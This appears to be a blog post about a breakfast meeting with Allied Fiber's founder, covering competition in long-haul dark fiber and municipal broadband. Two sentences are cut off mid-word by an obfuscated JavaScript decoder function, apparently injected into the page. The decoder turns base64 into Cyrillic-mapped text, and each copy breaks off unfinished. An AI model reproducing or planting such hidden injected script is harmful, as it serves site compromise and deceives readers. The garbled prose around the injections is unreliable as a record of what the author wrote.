Last week in NYC I met with Hunter Newby, the founder of Allied Fiber and of Telx before that. Not only is hunter a super-sharp and very nice guy, he's also a forward thinker when it comes to telecom infrastructure.
Allied Fiber, for those who don't know, is a relatively recent business that will be offering long-distance fiber in the US and colo- exchanges along the routes. This will for the first time introduce genuine competition in a market that was until now largely held by a small number of players, with the inevitable consequences on prices.
As you probably know by now, we recently released a report on what actually happens in wireline broadband networks when consumers all try to access resources at the same time (see function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
When we initiated thefunction a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
So interestingly, I found that Hunter and I were looking in a very similar way at the two sides of a same ecosystem. Many municipalities are looking into ways to get high-quality broadband into their territory, and sometimes are willing to go so far as to invest in the infrastructure themselves. But what's the cost of aggregating all that traffic back to an internet hub if there is no competition in the market and/or if the infrastructure in place is itself strained because it's too old?
It's not every day in America that I meet people who understand the dynamics of open access dark fiber. Hunter is one of them. I had a great breakfast conversation with him and have no doubt our paths will cross again.